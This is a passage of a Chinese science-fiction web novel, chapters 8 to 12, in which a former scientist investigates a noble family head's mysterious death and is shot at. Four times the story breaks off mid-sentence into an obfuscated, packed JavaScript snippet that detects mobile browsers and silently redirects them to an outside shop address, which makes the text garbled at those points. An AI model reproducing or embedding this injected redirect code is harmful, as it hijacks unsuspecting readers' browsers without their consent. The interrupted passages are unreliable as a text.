裘小少爷怔了片刻,耳根迅速窜上一层薄红。谢然额角轻抽,忍不住在心里暗骂了句: 骚包。 8. 第 8 章 谢然头也不回离开了操场。 苏祺跟在她后面,小声问:“然宝你知道他们为什么被罚吗?” “不知道。”谢然说。 “我听说是昨晚他们趁慕老师喝醉偷袭了她。胆子真大呀……” “是么……” 这应该是慕恪放出来的消息。她不允许其他人知道自己被偷亲的事,只能拿假说辞遮掩。 谢然看了眼课表,后面几天课都不是很重要,也没什么要注意的老熟人。只要熬到周五,她就能接任务去天曜星了。 时间还早,她决定去图书馆查些资料。 当年她还是雷安特教授时,曾参与过一个科研项目组。项目的发起人和投资人是曲家家主曲随山,研究的项目是制造能一发击毁一颗星球的超级核弹。 元际1112年,也就是五年前,科学家预测阿尔法星系将在不久遭受外星文明入侵。曲随山力排众议,秘密组建研发小组,尝试打造超级核弹抵御外星文明。 因要保密,避免引发联邦其他星主恐慌,参与项目的人极少,甚至研究员只有雷安特一人,进度十分缓慢。 雷安特在研究所待了两年,只给核弹做了个金属外壳,核心技术一直没能突破。 后来她被捕入狱,研究所也被发现,曲随山把一切都推到她身上,让杀人犯雷安特又多了一重罪名——制造核武器妄图毁灭联邦的恐怖分子。 当时她以为,异域生物就是入侵的外星文明,她试图辩解,本以为曲随山会帮她,怎料曲随山在法庭上言之凿凿,说一切都是她脱罪的说辞。 曲随山想让她的死带走制造核弹秘密,看他的样子似乎也不信异域生物的事。后来雷安特在狱中想明白了一些事,外星文明入侵或许只是个幌子,曲随山就是想利用她制造核弹,好方便自己揽权。 目前的联邦虽说是三大家族共治,但明面上不论大星小星,各星主身份平等,平民与贵族在法律上也一视同仁。这样的“平等”或许不是曲随山想要的。 雷安特猜,他或许想用军事力量重塑联邦秩序,拥有了超级核弹,曲随山便拥有了制裁其他星球的绝对力量,到时候任他想做什么都不在话下。 雷安特一直以为,曲随山是位宽容平和的大家主,经过一次背叛,才看清楚他的野心。 超级核弹项目被发现后便被封杀,谢然不知道她离开的这三年研究所被作何处置。联邦公共网络上查不到研究所的信息,但掌握联邦所有案件档案的卡尔德里斯或许有相关记录。 电子档案存放在图书馆机房中,电脑谁都能登,但存放档案的隐藏链接只有输入密码才能打开。 无所不能的雷安特教授恰好知道密码是什么。 走进图书馆,苏祺说想找点跟文化课有关的资料回去看,便主动和她分开了。谢然独自走进机房,进入封闭小隔间打开电脑,利落输入记忆中的密码。 链接解锁,鼠标下滑找到当年雷安特一案的案宗,双击打开。 猫猫牌从衣领下飞出,和她一起阅览,边看边说:“你查研究所做什么?联邦没有第二个人能挑起制造超级核弹的大梁,即使研究所没被拆除,也多半荒废了。” “研究所不重要,重要的是那个核弹壳子。”谢然说。 虽只是个壳子,制作过程中也耗费了她不少心血。且其制作材料极其稀有难得,如果那壳子被联邦拆毁,至少十年内谢然都无法再凑齐一套制造新壳子的原料。 猫猫牌敏锐察觉她话中有话,惊讶:“你不会想继续把核弹制造出来吧?” 谢然打了个响指:“还是你懂我。” 猫猫牌不认为自己很懂她,他不理解:“为什么?就算抛开技术难度不谈,你知道制造超级核弹意味着什么吗?” “意味着联邦的和平将被打破,一旦制作超级核弹的消息泄露,轻则我被围剿,重则可能引发像当年星际大战一样的大规模战争。”谢然说:“我知道制造超级核弹的风险很大,如果可以,我也不愿意重启那个项目。” “那你为什么要做呢?” “因为我们没有抵抗异域生物的手段。”谢然说:“我一直有种强烈的预感,异域生物比我们想象的还要强大。” 猫猫牌沉默,同样的预感他也有。 受异能影响,他的预感九成九都是准确的。 异域生物会掀起一场史无前例的“大灾难”,其实力必然强大到联邦难以抵抗的程度。 而谢然手中的异能,足以与之抗衡吗? 他们对这个问题持悲观态度。 当年谢然杀死的异域生物,异能最多只有D级,但她却从心核中提取出了S级异能。 根据宇宙能量守恒的规则,这是不符合常理的。 除非在他们尚未可知的异域生物中,有拥有S级异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565296|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的高阶生物。它们将低阶生物投放到联邦,或许是想拿他们试水,试探联邦虚实。 谢然的异能只有D级,便能抵抗大多数热武器伤害。拥有“S”级异能的“人”,实力会有多逆天? 恐怕只有超越现今技术手段,一发足以摧毁一整颗星球的超级核弹,才能与之抗衡。 谢然说:“若非迫不得已,我也不想研制超级核弹。” 胖猫说:“还有别的办法。” 如果人类也能拥有S级异能,是否能打败那些异域生物? 同样的法子谢然也知道,只是:“想要注射S级异能试剂,至少要割掉自己半边身子。且不说是否有人愿意做出这种牺牲,就算有,换上机械义肢后,作战能力又如何?” 机械义肢毕竟不如自己的原生配件,使用时可能会出现各种问题。比如排异反应,接触不良,意外漏电,不够灵活……在战斗中,这些机械产品出现问题比肉/体受创带来的后果更严重,她不着急换机械义眼,就是怕这样的风险。 “如果能从低阶异能升级成高阶异能呢?”猫猫牌说。 “同样也要付出代价。”谢然说。 迄今她探索到升级方法有两种,其一,将人的血肉融进试剂,二次注射。其二,通过漫长训练,缓慢提升异能等级。 第二个方法十分不稳定,谢然获得异能三年,提升幅度甚微,甚至没能达到C级。 这就是她售卖异能的第二个原因,她需要快速升级,就需要更多人体组织。这种方法虽血腥,但谢然没得选。 猫猫牌叹了口气:“照你这么说,拥有A级异能的我,是不是曾杀过很多人?还是说我的□□也是不完整的?A级异能至少要切掉一条胳膊吧?难道我是独臂侠?” 谢然好笑道:“究竟是杀人犯还是独臂侠,等你恢复肉/身那天就知道了。去天曜星我们多半会遇到异域生物,你留意着点有没有异能是恢复肉/身的。” “我知道。”猫猫牌说。 将文件拉到最后,谢然终于找到有关那间研究所的记录。 研究所被封禁后,联邦也曾想将核弹外壳带走。奈何它体积太大且无法拆分,连研究所的门都出不去,只能留在里面。 谢然勾唇,幸好她在制作壳子时留了个心眼,固定了所有零件,不然就她离开这些年,联邦那些贪得无厌的实验室非得把那些珍贵材料瓜分走不可。 9. 第 9 章 得知核弹外壳没有事,谢然心情轻松不少。 只要能攻克最后的技术难关,制造超级核弹便不在话下。 唯一比较头疼的是,那间研究所在曲家所在的天明星,周围定然布满曲随山的眼线,要怎么瞒过曲随山进入研究所又是一个难题。 谢然决定先不考虑这个。 虽然她不喜欢走一步看一步,但现在的条件也不支持她对未来做过多打算。 现在最要紧的是把布朗家的案子处理好。 关机起身离开包房,刚走到阅览区便见苏祺被一个男学生拦着不让走。 谢然眉心微蹙,过去将那男学生拽开,定睛一看,才发现是裘景嵘。 刚被罚跑完,他竟瞧着一点事没有,好像五十圈负重对他来说根本不在话下。 “做什么?”谢然眉头皱得更深,光天化日之下,小少爷调戏上女学生了? 苏祺拉拉她衣角,小声说:“然宝,他刚才是在问我,能不能一起组队。” 谢然转头看向她:“你跟他以前认识吗?” 苏祺摇头:“不认识。” “那想和他组队吗?” 继续摇头:“我只想和然宝你组队。” 谢然视线重新回到杵在一旁的裘小少爷身上:“听到了没?她不想和你组队,走吧。” 裘景嵘脸皮厚,丝毫不觉尴尬,赶忙说:“我是真心想和你们组队的,就带我一个吧!” 谢然觉得奇怪:“你不去跟你那些贵族朋友们组队,招惹我们两个做什么?” “我倾慕两位小姐,想与你们交个朋友。”裘景嵘看着谢然,目光灼灼。 “谢了,不必。” 见谢然冷着脸要走,裘景嵘忙伸手把人拦下:“哎等等,我知道你们打算去查布朗家的案子,但你们能弄到请柬吗?” “什么请柬?”闻言,谢然脚步一顿。 “下周是布朗家新任家主的继任典,”裘景嵘说:“没有请柬,任你是谁都不会放进去。” 谢然抬眸:“新任家主?听说帕尔德没有子嗣,但布朗家族旁支人丁旺盛,他们这么快就决定好谁做新的继承人了?” 按照这些贵族办事的惯例,不应该先互相扯皮个一年半载,再考虑推举谁做新家主么? 裘景嵘说:“不需要决定,爱德华·布朗是内定的继承人。” 谢然唔了一声,想这倒也在理。 作为骑士团团长,近身服侍大主司的人,可以说他是同辈中最杰出的青年才俊,家主之位舍他其谁? 她问:“你能拿到布朗家请柬?” “不能。”裘景嵘摊手:“那请柬只给各家家主,我一个旁支后辈,当然拿不到。” “那你在这儿废什么话?”谢然无语,转头想走。 裘景嵘不敢再卖关子,赶忙说:“虽然拿不到,但我能用钱买。” 这种声势浩大的家主继任典礼,布朗家发出去的请柬不计其数。总会有几张漏网之鱼,通过各种途径流通到黑市上。 谢然不为所动:“你能用钱买到的东西,我自然也能买得到。” “不巧,我把黑市上仅有的几张请柬全都垄断了,你只能从我这儿买。”裘景嵘从口袋里摸出几个信封,拿到谢然眼前晃晃。 “……” 此人不愧是联邦首富裘家的后辈,行事作风无一处不透着商人的奸诈狡猾。 谢然拿过信封,顺便拍开他的手,面无表情说:“周日上午十点星舰港口,M579号飞船,自己买票,过时不候。” “多谢小姐赏脸。”裘景嵘目送她们离开,笑得得意。 … 出发前一天,谢然开了个群,把所有人拉进来。 [出事找我姐]:怎么多了个人? [卡尔德里斯·狙神]:裘景嵘?你来凑什么热闹? [芳心纵火犯]:大家好呀~ [酥酥小祺]:你们都是谁啊……QAQ [群主·谢然]:……欧阳淮,常纪明,裘景嵘。 [芳心纵火犯]:@出事找我姐,你起的什么雷霆ID? [出事找我姐]:我姐让改的,说我一个小孩在外边儿不抗事,怕我被人骗…… [芳心纵火犯]:…… [卡尔德里斯·狙神]:@芳心纵火犯,hello?你到底来凑什么热闹? 屏幕外常纪明微微蹙眉,他和欧阳淮跟这位“芳心纵火犯”算不上很熟,也并不是很欢迎这位不速之客。 [芳心纵火犯]:当然是为了两位美丽的女士来的,难不成还能因为你们两个? [卡尔德里斯·狙神]:…… [群主·谢然]:行了,打住。建群是想提醒你们,明天要启程去天曜星,记得都多带点装备。 [酥酥小祺]:然宝你是要我们带枪支弹药吗?我们有卡尔德里斯的特权,这些东西到时候我们都可以跟天曜星的军队借。 [群主·谢然]:我们去查布朗家族的案子,本就不受欢迎,不能指望天曜星的军队会给我们多少供给。 天曜星的军队管理权握在星主容宓手中,容家和布朗家都是依附于曲家的家族,同气连枝,定然不会给他们行太多便利。 [卡尔德里斯·狙神]:说得有理,我把我的大狙带上。 他们贵族子弟有家族配给的武器,性能优越,用得又顺手。比军队里那些流水线上的产品好用得多。 [群主·谢然]:还有,多带点防爆装备。防弹衣头盔护目镜什么的都带上。 [芳心纵火犯]:没必要那么谨慎吧?裹那么严实会显得本少爷很呆。 [群主·谢然]:要脸还是要命? [芳心纵火犯]:那还是要命。 谢然不能提醒太多,要他们带防爆装备是怕异域生物突袭,说太多容易暴露她知道异域生物的事。 周日十点,一行五人连带一张藏在衣领下的猫猫牌,登上前往天曜星的飞船。 编号M开头的都是卡尔德里斯的飞船,专门运输前往各星球做任务的学生。天曜星离首都星不远,行程只有八小时,谢然打算趁这时间整合一下有关帕尔德·布朗一案的信息,把组内所有人都叫到一间包房里开会。 “帕尔德·布朗,男,年47。任布朗家主长达二十年。社交账号公开透明,无不良嗜好。常年保持健身,每年都会接受全方位体检。遇害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565297|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前最后一次体检在去年12月,体检报告显示帕尔德·布朗身体健康,无任何遗传疾病或慢性疾病,所有指标皆在正常范围。”谢然将查到的信息都投到光屏上,神色严肃:“但就这么一个‘正常’到近乎严苛的人,半年前竟突然出现急速衰老的症状,据说死亡时,他已是一个白发苍苍的老人了。” 裘景嵘举手说:“他是不是吸毒了?” 除了吸毒,他想不出其他能快速亏损身体的方式。 谢然摇头:“很遗憾,没有。尸检报告一切正常,就是找不到他突然衰老的原因。” 她起初怀疑帕尔德是遭受了某种异能攻击,才会迅速衰老。但帕尔德在快速衰老的那半年,竟没惊动任何人。除了布朗府邸的佣人,没人知道这个秘密。 一个正常人遭遇这种反常的状况,怎可能沉得住气?除非帕尔德自己知道衰老的原因是什么。 谢然怀疑他不是被动受袭,而是主动与异域生物达成了某些合作。 帕尔德接触的异域生物,会和曾出现在卡尔德里斯的异域生物一样,占据人的躯壳,让人难以察觉吗? 猫猫牌的声音自脑海中响起:“今天状态好,可以帮你卜算几个二选一或者是否类问题。” 经过半周休息,他体内能量恢复了不少,终于能用异能进行精确卜算。 谢然在脑海中回他:“那你帮我看看,帕尔德接触的异域生物,是否占据了人类的身体?” 猫猫牌陷入沉默。卜算需要一定时间,谢然先不去打扰他,继续和苏祺等人说:“我们要调查帕尔德的死,难免要触碰布朗家族的秘辛。我们的一举一动恐怕都会被人看在眼里,行动时切记小心,但凡情况不对,走为上策。不到极端情况,不要和布朗家的人发生正面冲突。” “谢小姐,你不免太谨慎了些。”裘景嵘不以为意。他们手持卡尔德里斯的任务通函,又各个背靠世家大族。布朗家的人难道还能伤他们性命不成? “我觉得谢然同学说得在理。”常纪明说:“身份不是我们的护身符。布朗家依附于天明星的曲家,和我们没有半毛钱关系。” 他们当中没有曲家的人,近些年来,三大家族关系愈发僵硬,从千年前合作共治,到如今互相牵制。他们几人不是出自裘家就是欧阳家,布朗家防他们还来不及,根本不可能因身份高看他们几分。 苏祺说:“不知这次典礼,曲家的人会不会来……” “肯定会来,但来的应当不会是主家那几位。爱德华·布朗还没有那么大的面子。”欧阳淮说:“就像我姐姐也收到了邀请函,但她肯定不会亲自到场,而是派了几个助理过来。” 欧阳家主,也就是他母亲身体不好,早在前些年便退居幕后。家里如今是他姐姐欧阳慈管事,外人见了都得尊称一声“小家主”,地位非同一般。 苏祺轻轻舒了口气,小声说:“是么,那就好……” 谢然不动声色看了她一眼,将她一切小动作都尽收眼底,然后收回目光说:“关于布朗家一案,还有没有要补充的?” 见四人皆摇头,谢然收了光屏,看了眼时间说:“还有四个小时到站,抓紧时间休息会儿吧,今晚大概会是个不眠之夜。” 10. 第 10 章 飞船为旅客准备了独立房间,谢然回房掏出牌盒,看向已沉默许久的猫猫牌:“卜算结果怎么样?” 胖猫圆乎乎的脸上少见露出纠结的表情:“牌给了我一个很令人意外的回答。” “牌说了什么?” 胖猫将抽到的牌展示给她看:“算盘,日晷,云雾。牌说,它无法回答你的问题。” “无法回答?”谢然不是很理解:“牌不知道答案?” “不,牌知道答案。世间任何事,无论藏得多深,都逃不过我的异能。”胖猫说:“牌无法回答,多半是因为我们问的问题不对。” “什么意思?” 胖猫说:“越简单的问题越容易回答。比如问你今天是否吃了辣椒?牌会给我明确的答案。如果问张三今天是否吃了辣椒?牌就无法回答。因为世界上叫张三的人有很多,牌不清楚我们问的是哪一位。” 谢然大概能理解他的意思,问题描述得越具体,越准确,越容易得到正确的答案。 她刚才问的是:帕尔德接触的异域生物,是否占据了人类的身体?这个问题太笼统,帕尔德接触的异域生物可能不止有一个,可能有的占据了人类的身体,有的没有。有的异域生物可能在接触帕尔德之前就占据过人类的身体,有的是为了能接触他才占据的。 她那么问的确容易产生歧义,让牌难以给出一个准确的回答。 “可以把问题拆分,”胖猫说:“一个要素一个要素问。” 谢然说:“你的精力足够我问好几个问题吗?” “放心,你尽管问,我不要紧。”胖猫说。 谢然沉思片刻,说:“我想先知道,帕尔德接触的异域生物有几个?” 胖猫翻牌,很快回答:“两个。” “它们是否都占据过人类的人体?” “是。” “他们现在还拥有人类的皮囊吗?” “是。” “他们占据的是否是帕尔德熟人的身体?” “……否。” 听到意料之外的回答,谢然有些吃惊。 她原本以为这个问题的回答是肯定的,异域生物借助熟人的身份与帕尔德接触。如果不是这样,异域生物如何取得帕尔德信任? 不对,帕尔德与异域生物达成合作也只是她的猜测,不能当成既定事实作为条件代入。如果二者并非是合作关系,何谈需要取得彼此信任呢? 胖猫说:“我知道你想问什么,我可以告诉你,你的猜测是正确的。” 谢然拧眉:“也就是说,异域生物是以陌生人的身份与帕尔德达成合作的吗?帕尔德知不知道它们是异域生物?” 许是多次卜算消耗太多能量,这次胖猫沉默良久才得出答案:“他知道。关于那些东西的真实身份,他很清楚。” “你还好吧?”谢然问。 “……还好。”胖猫缓了片刻,说:“趁我的能量还没耗尽,你还可以问三个问题。” 谢然迅速整理出她最想了解的三个问题:“帕尔德与异域生物建立联系的时间大概在什么时候?” “半年前。也就是他开始衰老的前不久。” “帕尔德急速衰老是否与异域生物有关?” “是。” “帕尔德是否知道自己会衰老?” “是。” 回答完最后一个问题,他像被抽干所有力气,整个人陷入休眠状态,静静躺入牌盒。 谢然将牌盒收起,独自坐到窗边,望着外面无边无垠的星河陷入沉思。 从刚才那些问题中,她能总结出一些关键信息,并将它们连成一个完整的故事: 半年前,异域生物潜入天曜星,出于某些目的找到布朗家家主帕尔德,与他达成了一些交易。迅速衰老或许是帕尔德为这场交易付出的代价。在他们达成交易的这半年里,布朗家族表面上一切正常,谢然无从得知帕尔德都做了什么。但半年后,出于某些原因,异域生物杀掉了它们的合作伙伴。 由此,谢然梳理出三个她要解决的问题: 交易是什么? 异域生物为什么要杀帕尔德? 异域生物披着什么人的皮囊? 这件事让她清楚意识到,异域生物是有智慧的,且它们的智慧近似甚至超过人类。 这并不是一个好消息,那些异域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565298|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生物在战斗素质方面已碾压人类,若还拥有优秀的大脑,谢然不敢想人类将面临多么强大的敌人。 傍晚六点,M579号飞船安全抵达天曜星港口。 天曜星作为天明星下的附属星,面积不大,从港口前往布朗府邸只需一小时。 继任典礼在明日,今夜便有不少宾客陆续到场,在前厅觥筹交错,交谈甚欢。 管家在门口迎宾,谢然将邀请函递过去,老管家脸上得体的笑容一顿。 谢然泰然自若:“检查好了么?检查好了就放我们进去。” 老管家抬手扶了下鼻梁上的无框眼镜,见她并不像其他客人一样身穿礼服,而只是穿着便于行动的裤装制服,笑容更带上几分疏离:“布朗府邸禁止平民入内。” “是么?”谢然上下打量他两眼,嘴角扬起善意的微笑,反问:“照这么说,您是怎么进去的?” “……” 站在后面的裘景嵘没忍住,噗嗤一声笑了出来。他刚想帮谢然解围,没想到这位平民小姐竟这般牙尖嘴利,面对这些惯会仗势欺人的高级仆役,竟能丝毫不让自己吃亏。 外场客人纷纷向这边侧目,老管家脸色微沉,面上有些挂不住。 “光叔,让他们进来。” “大少爷。”见到来人,老管家略微低头,躬身行礼。 谢然转头,视线正好与爱德华·布朗那双沉墨色的眸子相撞。 这位曾也是她的学生,几年不见,他变化太大,谢然差点没认出来。 曾经意气风发的少年褪去几分青涩,气质锐利了更多,像一把带着寒光出鞘的长剑,锋芒毕露。 爱德华·布朗看到她,波澜不惊的眸子闪过一丝讶异之色,但很快恢复如常:“来者是客,诸位请随我来。” 爱德华亲自将人引至府邸三楼,在走廊口驻足:“这一层都是布朗家准备的客房,诸位尽可自行挑喜欢的房间。” 谢然正要走,却听爱德华忽然喊住她:“谢小姐留步,可否借一步说话?” 谢然顿住脚步,和余下四人对视了眼。裘景嵘率先开口,看向爱德华:“想私约我们美丽的女士?抱歉,我不同意。” 11. 第 11 章 爱德华笑了下:“我只不过想和谢小姐交个朋友,如果介意,你们可一起来。” 谢然说:“不必了,你们在包房等我。布朗先生,请。” “谢小姐,请。”男人手抬向楼梯,礼貌让了半步,让她先行。 谢然被他带到顶层一间会议室。本以为里面没人,却见爱德华打开门后竟怔了一秒。 “容小姐,你怎么在这儿?” 里面的人是容家家主的女儿容毓,大剌剌坐在会议桌上,一只脚踩在桌沿,姿态惬意,似乎完全没当自己是客。 爱德华却不敢说什么,仿佛早已习惯。 容毓目光落到谢然身上,毫不遮掩地打量她。 这种目光很不礼貌,但谢然坦然自若,以同样的眼神打量她。她记得这位容小姐在卡尔德里斯读三年级,没见过当时的雷安特教授。 所以容毓看到她也没露出什么惊讶的表情,甚至对她一身素衣露出鄙夷之色。容毓很快对她失去兴趣,将一双凤眸扫向爱德华,调侃道:“客才刚到便约人家来私会,布朗先生好兴致。” 爱德华·布朗蹙眉:“胡说什么?你的女仆呢?怎么留你一个人在这儿?” 容毓从桌上跳下:“我想去哪儿,她们能拦得住?” 论地位,容家是天曜星星主,布朗家只是借住在天曜星上的贵族之一,爱德华拿这位容小姐没办法,只能客客气气说:“我和谢小姐有正事要谈,请你先暂时回避一下。” 容毓轻轻哼了声,目光转向谢然,走到她面前吹了声口哨:“小姐,你很漂亮。” “谢谢。”谢然认可她的评价,真心诚意道:“你很有眼光。” “……”容毓撇撇嘴,这般厚脸皮的平民,她还是头次见。 翻了个白眼走出会议室,谢然目送她离开,心下起疑。 方才容毓靠近时,她在容毓身上闻到了淡淡的火药味。 一个来参加典礼的贵族小姐,竟随身携带着炸药或枪械么…… 爱德华似乎没发现什么异常,拉开椅子请谢然入座,自己则非常礼貌地坐到她对面的椅子上,与她保持合适的社交距离:“谢小姐,请你别误会,我并非像容毓说的那样轻浮。我找你的确有正事要说。” “我知道,你说吧。” 爱德华见她惬意地往后靠在椅背上,双手抱胸,左腿搭在右腿上。瞧着比他这位主人还要放松。 他嘴角微抽,尽力克制住表情道:“你和曾经那位雷安特教授真像。不论是长相还是性格。” “是么?可惜我没见过她。”谢然说:“寒暄就不必了,有话直说就好。” 爱德华被噎了回来,只能舍弃那些虚礼,直言道:“我知道你们接下了布朗家的任务,来此是为调查族叔死因。但布朗先生的尸体早已被火化,其遇袭的卧室也已清理干净。与此案相关的证据几乎全被销毁,即便你们想查,也没有头绪吧?” 谢然反问:“布朗家那么着急销毁证据,真不怕人怀疑你们这是刻意隐瞒家主死因?” 男人摊手,给出一个在她听来十分苍白的解释:“非是我们着急销毁证据,而是族叔死得蹊跷,布朗家能力有限确实查不出什么。且族叔身份贵重,做小辈的不敢对他尸身不敬,只想早日让他入土为安,这才早早清理了现场。” 谢然说:“不管怎么说,的确是你们太早处理了尸体,才给我们制造了这些困难。” 对面点头:“是,我不否认这是布朗家的过失。但谢小姐既然来了,自然是想把任务圆满完成的,对吧?” “当然,完成你们家这桩案子,我至少能拿到八个学分,而寻常任务只能拿四分。”谢然不想过早暴露目的,伪装自己是为了拿学分才接的任务。 卡尔德里斯不强制学生读满四年,攒够三十学分便可毕业。毕业后便可入职高薪岗位,凭她穷学生的身份,伪装起来极容易让人信服。 男人扬了扬嘴角,露出一个伪善的笑:“我也是卡尔德里斯毕业的,算是你的学长。作为学长自然不会为难学妹。我这里恰有一份,尸体被发现时现场的照片。这应当是此案唯一留存的证据,但我本人不擅长刑侦,从照片上看不出什么,但如果把照片分享给你们,或许能对你们有所帮助。” 谢然挑眉,爱德华能有这么好心? 她不信。 “条件。” 直白的态度明晃晃告诉他,她不觉得他是什么乐于助人的好学长,也再次提醒他有话直说,任何伪装在她眼里都无所遁形。 爱德华看向她的目光终于带上几分审视,这个平民太不同寻常,竟能让他在谈判中处于下风。 这样的胆识和城府,真的只是个普通的平民学生吗? 几番思量下,男人决定坦言:“想得到照片,必须让我参与你们的调查行动,最后上报给学院的结果也要经我过目。” “呵,”谢然冷笑:“你觉得你的照片有多少价值?” 爱德华沉默。照片究竟有多少价值,从中能理出多少线索,他也拿不准。 但除了照片,关于此案再没有别的证据。几个毫无头绪的学生两手空空,如何查案? 他在赌,赌谢然相信他的价值。 谢然知道他在想什么。 她不认为仅凭那些照片就让她知道凶手是谁,但权衡片刻后,还是答应了爱德华的请求。 他们身在布朗家,即使她不答应,爱德华也能通过各种手段监视他们的行动。 敌人在明处,总比在暗处好得多。 爱德华笑:“谢小姐是个聪明人。” 他将照片传给谢然。谢然大体扫了眼,死者躺在床上,胸口插着一把普通的水果刀,除此之外房间里没有任何疑点,连窗户都没上锁,明晃晃告诉人凶手是从窗户逃走的。 果真没有太重要的内容。 谢然说:“我们小组五人,大概要分头行动。你只能跟着我,并且保证我组内其他成员的行动绝对自由。” “当然。”爱德华同意了她的要求。 谢然继续说:“另外,你只能作为旁观者跟随我,不可干涉或影响我的行动。如果有意外发生,请你想办法自保。我不为你的生命安全负责。” 爱德华顿了片刻,他不担心会遇到意外,只是对不能干涉谢然的行动稍有犹豫。 万一她要做什么不利于布朗家的事,他岂不是无法阻拦…… 谢然抬手敲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565299|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲桌面:“布朗先生,我想你应该先明确一件事。我拥有卡尔德里斯的委派书,这些本就是我拥有的权力,你不想接受我们可以终止合作。但那时你想再获知我的行踪,怕就没那么容易了。” 爱德华是聪明人,很快权衡好利弊笑了笑说:“谢小姐严重了,你提的这些条件我自然是都答应的。” “那就好,希望你能好好遵守承诺。” “当然。”爱德华起身向她伸出手:“谢小姐,祝我们合作愉快。” “合作愉快。” 从会议室出来,爱德华还要接待其他宾客,谢然独自返回客房。 走廊一侧是整齐排列的房间,另一侧是一整面落地窗。 别墅外灯火通明,站在走廊能清晰看到外面的景象。 同理,外面的人也能清晰看到她。 夜色如许,谢然余光往窗外一瞥,忽有一种极其不妙的预感涌上心头,脑海里响起胖猫的呼喊: “小心!” 一颗子弹竟冲她眉心直直打来,她迅速矮身,就地一滚—— 子弹瞬间穿透厚厚的落地窗,射入对面墙壁。 一整面玻璃顷刻碎裂,晶莹的碎渣宛若倾泻的瀑布,不约而同向楼底坠去。 几乎所有人都听到了这惊天骇人的动静,纷纷朝三楼跑来。 苏祺等人自房间冲出,看到凌乱的走廊,不由都瞪大双目。 最胆小的女生反倒最先反应过来,上前扶起谢然:“然宝!你还好吧?有没有受伤?” “没事……”谢然拍拍口袋,里面的猫猫牌见她有惊无险,舒了口气,重新陷入沉睡。 楼梯口响起混乱脚步声,爱德华携安保队匆匆赶到。 看见碎成渣的玻璃,男人眉心狠狠一蹙:“光叔,我记得家中安装的都是防弹玻璃。” 即使是威力最大的狙击枪,也无法一枪击穿防弹玻璃,最多只能让玻璃裂成蜘蛛网状,但最终子弹还是会被拦在玻璃外。 “是、是……”管家擦擦额上的汗。一个月前府邸返修,他还特意嘱咐要更换最结实的防弹玻璃,但显然这里的落地窗被人动了手脚,换成了毫无防护作用的普通玻璃! 是谁那么大胆,敢对布朗家下手? 谢然扫了一眼围过来的宾客,不出意外没看到容毓的身影。 天曜星上敢在布朗家动手的,只有容家。 同样的道理,爱德华应该也懂。 但他不敢说,只向客人致歉说因前任家主意外辞世,布朗家被某些想钻空子的不法团伙盯上,今天的枪袭估计就是那些团伙的手笔。 世家贵族身居高位难免有仇家,在场宾客纷纷表示理解。谢然懒得理会他,转身去看嵌在墙里的子弹。 子弹直径约二十毫米,应出自一把射程两公里的狙击枪。 因不知枪手是否安装了消音器,谢然只能从听到枪声的时间判断,那人应该在1-1.5公里外开的枪。 容毓大约在十分钟前离开的会议室,这个时间不足以她闪现到一公里外再架枪瞄准,除非她早已把枪架好,在那里守株待兔。 容毓是有计划有准备的。 这是一场完全针对她的谋杀。 12. 第 12 章 可是为什么?为什么容毓要杀她? 在见到她和爱德华私聊前,容毓的杀机已然产生。这件事与爱德华无关。 容毓也断不可能替布朗家出手,解决她这个祸患。否则爱德华就不会费尽心思想加入他们的调查队伍。 由此推断,容毓的杀机仅来源于她。 但她和容家以及容毓都没有过半分交集,不论是如今的谢然,还是以往的雷安特教授。 容毓的动机究竟是什么…… 不对! 谢然重新观察子弹,子弹并非垂直嵌入墙内,而是有一点倾斜的角度。 也就是说,真实的弹道要比她预估的要偏一点。 即使她不躲,按正常速度行走,子弹也不会打到她。 是意外吗? 还是容毓根本没想杀她? 她的目的究竟是什么? 目光再次落到爱德华那边,布朗家安保队效率极高,很快核查出只有主栋三楼这一面玻璃出了问题,布朗府邸其他玻璃没有被动过手脚。 这里铁定是住不成了,好在布朗府邸西南侧还有一栋空别墅,爱德华向客人致歉,说仆役一会儿会将他们的行李送到那边。 又忙活一个多小时,终于把宾客都安顿好。等来往仆役都退出了别墅,谢然叫苏祺等人到她房间开会。 